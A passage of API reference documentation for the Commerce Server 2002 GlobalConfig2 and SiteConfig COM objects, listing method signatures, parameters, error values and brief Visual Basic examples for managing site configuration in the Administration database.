' oGlobalConfig2 is a Commerce GlobalConfig2 object
vEncoded = oGlobalConfig2.MakeStringFromArray(vArray)

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::MakeStringFromSimpleList Method [C++]

GlobalConfig2.MakeStringFromSimpleList Method [Visual Basic]

Use this method to convert a SimpleList object into an encoded string, which can be written to the Fields property.

Definition

[C++]
HRESULT _GlobalConfig2::MakeStringFromSimpleList(
  IDispatch** slist,
  BSTR* strEncodedString
);
[Visual Basic]
Function MakeStringFromSimpleList(
  slist As Object
) As String

Parameters

slist [C++]
[in] An IDispatch interface pointer to the SimpleList object that you wish to convert into an encoded string.
slist [Visual Basic]
An object reference to the SimpleList object that you wish to convert into an encoded string.
strEncodedString [C++]
[out, retval] A pointer to a String used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The strEncodedString parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, SimpleLists, or objects as Fields columns. Therefore, the GlobalConfig2 object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a string
' vArray is a Variant
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig2 is a Commerce GlobalConfig2 object
vEncoded = oGlobalConfig2.MakeStringFromSimpleList(varMySimpleList)

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::SaveConfig Method [C++]

GlobalConfig2.SaveConfig Method [Visual Basic]

Use this method to save the global configuration settings to the Administration database.

Definition

[C++]
HRESULT _GlobalConfig2::SaveConfig(
);
[Visual Basic]
Sub SaveConfig(
)

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::Sites Method [C++]

GlobalConfig2.Sites Method [Visual Basic]

Use this method to retrieve a list of all the sites available in the Administration database.

Definition

[C++]
HRESULT _GlobalConfig2::Sites (
_Recordset** rsRecordSet
);
[Visual Basic]
Function Sites (
) As Object

Parameters

rsRecordSet [C++]
[out, retval] The address of a pointer to a _Recordset object used to return the list of all sites available in the Administration database. Each Field object in the recordset includes the name of one of the sites in the Commerce Server 2002 installation.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object. Each Field object in the recordset includes the name of one of the sites in the Commerce Server 2002 installation.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The rsRecordSet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2 Properties [C++]

GlobalConfig2 Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.

[Visual Basic]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.


_GlobalConfig2::get_Fields Property [C++]

GlobalConfig2.Fields Property [Visual Basic]

The Fields property is a read-only Fields object. The Fields property contents include recordsets that hold the configuration settings of resources. A Fields object is an ADO disconnected recordset.

Definition

[C++]
HRESULT _GlobalConfig2::get_Fields(
  Fields** pFields
);
[Visual Basic]
Property Fields As Object

Parameters

pFields [C++]
[out] The address of a pointer to the Fields object used to return resource configuration information.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This property returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

The pFields parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


SiteConfig Object [C++]

SiteConfig Object [Visual Basic]

Use this object to accomplish the following:

  • Create or delete site configuration information
  • Save any updated site configuration information to the Administration database
  • Load site configuration information from the Administration database
  • Import resource configuration data to a site and export resource configuration data from a site
ProgID: | Commerce.SiteConfig (Externally creatable)
COM Class Name: | SiteConfig
Type Library Name: | Microsoft Commerce 2002 Configuration Type Library
DLL Name: | MSCSCfg.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _SiteConfig
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the _SiteConfig interface to access the properties and methods of the SiteConfig object.

Methods

[C++]
Method | Description
AddRefToGroupComponent | Adds a reference to a global resource so that a site can access that resource.
CreateComponentConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteComponentConfig | Deletes configuration information for the specified resource.
DeleteSQLScript | Deletes the specified SQL script file from the Administration database.
ExportResource | Writes the specified resource, resource properties, and attributes to the specified file.
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
GetSQLScript | Gets the specified SQL script file from the Administration database.
ImportResource | Reads the specified resource, resource properties, and attributes from the specified file, and writes them to the Commerce Server 2002 database.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string that can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string that can be written to the Fields property.
PutSQLScript | Puts the specified SQL script file into the Administration database.
SaveConfig | Saves the site configuration settings to the Administration database.
[Visual Basic]
Method | Description
AddRefToGroupComponent | Adds a reference to a global resource so that a site can access that resource.
CreateComponentConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteComponentConfig | Deletes configuration information for the specified resource.
DeleteSQLScript | Deletes the specified SQL script file from the Administration database.
ExportResource | Writes the specified resource, resource properties, and attributes to the specified file.
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
GetSQLScript | Gets the specified SQL script file from the Administration database.
ImportResource | Reads the specified resource, resource properties, and attributes from the specified file, and writes them to the Commerce Server 2002 database.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string that can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string that can be written to the Fields property.
PutSQLScript | Puts the specified SQL script file into the Administration database.
SaveConfig | Saves the site configuration settings to the Administration database.

Properties

[C++]
Property | Type | Description
Fields | Fields | Returns configuration fields, some of which hold configuration settings of resources. This property is read-write.
[Visual Basic]
Property | Type | Description
Fields | Fields | Returns configuration fields, some of which hold configuration settings of resources. This property is read-write.

Remarks

The only functions available if you do not have an Administrator role are:
Initialize, GetAppsInSite, SaveConfig, MakeArrayFromSimpleList, MakeArrayFromString, MakeSimpleListFromArray, MakeStringFromArray, and MakeStringFromSimpleList.
Depending on how you add your own custom resource, you should be able to use this object to access configuration settings from the Administration database.

See Also

Configuration Objects

Integrating Cutom Resources

[C++] GlobalConfig Object

[C++] SiteConfigReadOnly Object

[Visual Basic] GlobalConfigObject

[Visual Basic] SiteConfigReadOnly Object


_SiteConfig Methods [C++]

SiteConfig Methods [Visual Basic]

Methods

[C++]
Method | Description
AddRefToGroupComponent | Adds a reference to a global resource so that a site can access that resource.
CreateComponentConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteComponentConfig | Deletes configuration information for the specified resource.
DeleteSQLScript | Deletes the specified SQL script file from the Administration database.
ExportResource | Writes the specified resource, resource properties, and attributes to the specified file.
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
GetSQLScript | Gets the specified SQL script file from the Administration database.
ImportResource | Reads the specified resource, resource properties, and attributes from the specified file, and writes them to the Commerce Server 2002 database.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string that can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string that can be written to the Fields property.
PutSQLScript | Puts the specified SQL script file into the Administration database.
SaveConfig | Saves the site configuration settings to the Administration database.
[Visual Basic]
Method | Description
AddRefToGroupComponent | Adds a reference to a global resource so that a site can access that resource.
CreateComponentConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteComponentConfig | Deletes configuration information for the specified resource.
DeleteSQLScript | Deletes the specified SQL script file from the Administration database.
ExportResource | Writes the specified resource, resource properties, and attributes to the specified file.
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a Variant Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
GetSQLScript | Gets the specified SQL script file from the Administration database.
ImportResource | Reads the specified resource, resource properties, and attributes from the specified file, and writes them to the Commerce Server 2002 database.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string that can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string that can be written to the Fields property.
PutSQLScript | Puts the specified SQL script file into the Administration database.
SaveConfig | Saves the site configuration settings to the Administration database.


_SiteConfig::AddRefToGroupComponent Method [C++]

SiteConfig.AddRefToGroupComponent Method [Visual Basic]

Use this method to add a reference to a global resource so that a site can access that resource. If you use this method to create a global resource, in order to read the correct property values, use the SiteConfigReadOnly object methods. To set the correct property values, use the GlobalConfig object on the global resource that is referenced by this site level resource.

Definition

[C++]
HRESULT _SiteConfig::AddRefToGroupComponent(
  BSTR bstrSiteResourceName,
  BSTR bstrGroupResourceName
);
[Visual Basic]
Sub AddRefToGroupComponent(
  bstrSiteResourceName As String,
  bstrGroupResourceName As String
)

Parameters

bstrSiteResourceName[C++]
[in] A BSTR that contains the name of the resource configuration object to be added to the site.
bstrSiteResourceName [Visual Basic]
A String that contains the name of the resource configuration object to be added to the site.
bstrGroupResourceName [C++]
[in] A BSTR that contains the name of the global resource configuration object to which a reference is being added.
bstrGroupResourceName [Visual Basic]
A String that contains the name of the global resource configuration object to which a reference is being added.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

If you use this method to create a global resource, use the SiteConfigReadOnly object methods to read the correct property values. Use the GlobalConfig object on the global resource that is referenced by this site level resource to set the correct property values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sSiteResName and sGlob are strings
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.AddRefToGroupComponent(sSiteResName,sGlob)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::CreateComponentConfig Method [C++]

SiteConfig.CreateComponentConfig Method [Visual Basic]

Use this method to create an instance of a configuration schema class, and load it into the site recordset.

Definition

[C++]
HRESULT _SiteConfig::CreateComponentConfig(
  BSTR bstrConfigComponentName,
  BSTR bstrConfigSchemaClass
);
[Visual Basic]
Sub CreateComponentConfig(
  bstrConfigComponentName As String,
  bstrConfigSchemaClass As String
)

Parameters

bstrConfigComponentName [C++]
[in] A BSTR that contains the new name for the resource configuration object instance.
bstrConfigComponentName [Visual Basic]
A String that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass [C++]
[in] A BSTR that contains the resource configuration schema class name.
bstrConfigSchemaClass [Visual Basic]
A String that contains the resource configuration schema class name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

This method creates an instance of the class specified in the bstrConfigSchemaClass parameter, and sets the Name property of the instance to the name specified in the bstrConfigComponentName parameter. It loads the instance into the site recordset.

This method calls the SaveConfig method.

The following table contains a list of schema classes for this method.

Admininstration Database Class Name | Resource Name
MSCS_Catalog | Product Catalog
MSCS_AppConfigDefault | App Default Config
MSCS_TransactionConfig | Transaction Config
MSCS_Transactions | Transactions
MSCS_Content | (No longer used)
MSCS_Campaigns | Campaigns
MSCS_AuthManager | Site CS Authentication
MSCS_DirectMailer | Direct Mailer
MSCS_Predictor | Predictor
MSCS_Predictor_Site | (No longer used)
MSCS_Datawarehouse_Group | Global Data Warehouse
MSCS_Datawarehouse_Site | Site Data Warehouse
MSCS_BizDataStore | Profiles Resource
MSCS_Address | IIS Applications (such as Retail, RetailBizDesk)
MSCS_BDSecurity | Business Desk Permissions

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyCatalog is a string
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.CreateComponentConfig(sMyCatalog, MSCS_Catalog)

See Also

[C++] SiteConfig Object

[C++] _SiteConfig::DeleteComponentConfig

[Visual Basic] SiteConfig Object

[Visual Basic] SiteConfig.DeleteComponentConfig


_SiteConfig::DeleteComponentConfig Method [C++]

SiteConfig.DeleteComponentConfig Method [Visual Basic]

Use this method to delete the Administration database information for the specified resource.

[C++]
HRESULT _SiteConfig::DeleteComponentConfig(
  BSTR bstrConfigComponentName
);
[Visual Basic]
Sub DeleteComponentConfig(
  bstrConfigComponentName As String
)

Parameters

bstrConfigComponentName [C++]
[in] A BSTR that contains the name of the resource associated with the Administration database information to delete.
bstrConfigComponentName [Visual Basic]
A String that contains the name of the resource configuration object to be deleted.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

This delete does not remove any resource-specific data other than the configuration information. For instance, deleting the Product Catalog resource will not remove the Product Catalog tables from the database, just the configuration information.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyResource is the name of an existing resource
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.DeleteComponentConfig (sMyResource)

See Also

[C++] SiteConfig Object

[C++] _SiteConfig::CreateComponentConfig

[Visual Basic] SiteConfig Object

[Visual Basic] SiteConfig.CreateComponentConfig


_SiteConfig::DeleteSQLScript Method [C++]

SiteConfig.DeleteSQLScript Method [Visual Basic]

Use this method to delete the specified SQL script file from the Administration database.

Definition

[C++]
HRESULT _SiteConfig::DeleteSQLScript(
  BSTR sResource,
  BSTR sScriptName
);
[Visual Basic]
Sub DeleteSQLScript(
  sResource As String,
  sScriptName As String
)

Parameters

sResource [C++]
[in] A BSTR that contains the name of the resource that is associated with the SQL script file that is to be deleted.
sResource [Visual Basic]
A String that contains the name of the resource that is associated with the SQL script file that is to be deleted.
sScriptName [C++]
[in] A BSTR that contains the name of the SQL script file to delete.
sScriptName [Visual Basic]
A String that contains the name of the SQL script file to delete.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::ExportResource Method [C++]

SiteConfig.ExportResource Method [Visual Basic]

Use this method to write the specified resource, resource properties, and attributes to the specified file.

Definition

[C++]
HRESULT _SiteConfig::ExportResource(
  BSTR bstrResourceName,
  BSTR bstrFileName
);
[Visual Basic]
Sub ExportResource(
  bstrResourceName As String,
  bstrFileName As String
)

Parameters

bstrResourceName [C++]
[in] A BSTR that contains the resource name.
bstrResourceName [Visual Basic]
A String that contains the resource name.
bstrFileName [C++]
[in] A BSTR that contains the destination file name for the resource export.
bstrFileName [Visual Basic]
A String that contains the destination file name for the resource export.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

This method and the ImportResource method are complements of each other. This method creates the file that ImportResource consumes.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyResource and sMyFileName.txt are strings
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.ExportResource(sMyResource, sMyFileName.txt)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::GetAppsInSite Method [C++]

SiteConfig.GetAppsInSite Method [Visual Basic]

Use this method to get a list of Commerce Server 2002 applications for the specified site.

Definition

[C++]
HRESULT _SiteConfig::GetAppsInSite(
  BSTR* strSiteName,
  VARIANT* vtAppNames
);
[Visual Basic]
Function GetAppsInSite(
  strSiteName As String
) As Variant

Parameters

strSiteName [C++]
[in] A pointer to the BSTR that contains the name of the site for which you want the list of Commerce Server 2002 applications that are currently running.
strSiteName [Visual Basic]
A String that contains the name of the site for which you want the list of running Commerce Server 2002 applications.
vtAppNames [C++]
[out, retval] A pointer to a Variant used to return the list of Commerce Server 2002 applications.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the list of Commerce Server 2002 applications.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

[C++] The vtAppNames parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMySiteName is a string
' vVariant is a Variant
' oSiteConfig is a Commerce SiteConfig object
vVariant = oSiteConfig.GetAppsInSite(sMySiteName)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::GetIfCollection Method [C++]

SiteConfig.GetIfCollection Method [Visual Basic]

Use this method to convert values read from the Fields property into the appropriate object such as a SimpleList object or Variant Array.

Definition

[C++]
HRESULT _SiteConfig::GetIfCollection(
  VARIANT* strList,
  VARIANT* retVal
);
[Visual Basic]
Function GetIfCollection(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A pointer to the VARIANT that contains the encoded string to be converted.
strList [Visual Basic]
A Variant that contains the encoded string to be converted.
retVal [C++]
[out, retval] A pointer to a VARIANT used to return the converted data in the appropriate data type.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted data in the appropriate data type.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The retVal parameter points to valid data only if the method completes successfully.

If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a Variant Array, then a Variant Array is returned. If no collection object is indicated, then the method returns the original encoded input string.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vVariant is a Variant; vEncodedString is a Variant
' oSiteConfig is a Commerce SiteConfig object
vVariant = oSiteConfig.GetIfCollection(vEncodedString)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::GetResourcePropAttrib Method [C++]

SiteConfig.GetResourcePropAttrib Method [Visual Basic]

Use this method to get a Dictionary object of key/value pairs that denote the attributes of the specified property of the specified resource.

Definition

[C++]
HRESULT _SiteConfig::GetResourcePropAttrib(
  BSTR strResourceName,
  BSTR strPropName,
  IDictionary** idictResPropAttrib
);
[Visual Basic]
Function GetResourcePropAttrib(
  strResourceName As String,
  strPropName As String
) As Object

Parameters

strResourceName [C++]
[in] A BSTR that contains the resource name.
strResourceName [Visual Basic]
A String that contains the resource name.
strPropName [C++]
[in] A BSTR that contains the resource property name.
strPropName [Visual Basic]
A String that contains the resource property name.
idictResPropAttrib [C++]
[out, retval] The address of a pointer to receive an IDictionary interface, used to return the key/value pairs that denote the attributes of the specified property of the specified resource.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to a Dictionary object containing the key/value pairs that denote the attributes of the specified property of the specified resource.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

[C++] The idictResPropAttrib parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dDict is a Dictionary object
' sMyCatalog is an existing resource
' connstr_desc_Catalog is a valid Catalog resource property
' oSiteConfig is a Commerce SiteConfig object
dDict = _
oSiteConfig.GetResourcePropAttrib(sMyCatalog, connstr_desc_Catalog)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::GetSQLScript Method [C++]

SiteConfig.GetSQLScript Method [Visual Basic]

Use this method to get the specified SQL script file from the Administration database.

Definition

[C++]
HRESULT _SiteConfig::GetSQLScript(
  BSTR sResource,
  BSTR sScriptName,
  BSTR* strScriptContents
);
[Visual Basic]
Function GetSQLScript(
  sResource As String,
  sScriptName As String
) As String

Parameters

sResource [C++]
[in] A BSTR that contains the resource associated with the required SQL script file.
sResource [Visual Basic]
A String that contains the resource associated with the required SQL script file.
sScriptName [C++]
[in] A BSTR that contains the file name of the required SQL script file.
sScriptName [Visual Basic]
A String that contains the file name of the required SQL script file.
strScriptContents [C++]
[out, retval] A pointer to a BSTR used to return the SQL script file contents.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the SQL script file contents.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

[C++] The strScriptContents parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyCatalog is an existing resource
' sMySQLFileName.sql and sContents are strings
' oSiteConfig is a Commerce SiteConfig object
sContents = oSiteConfig.GetSQLScript(sMyCatalog, sMySQLFileName.sql)

See Also

[C++] SiteConfig Object

[Visual Basic] SiteConfig Object


_SiteConfig::ImportResource Method [C++]

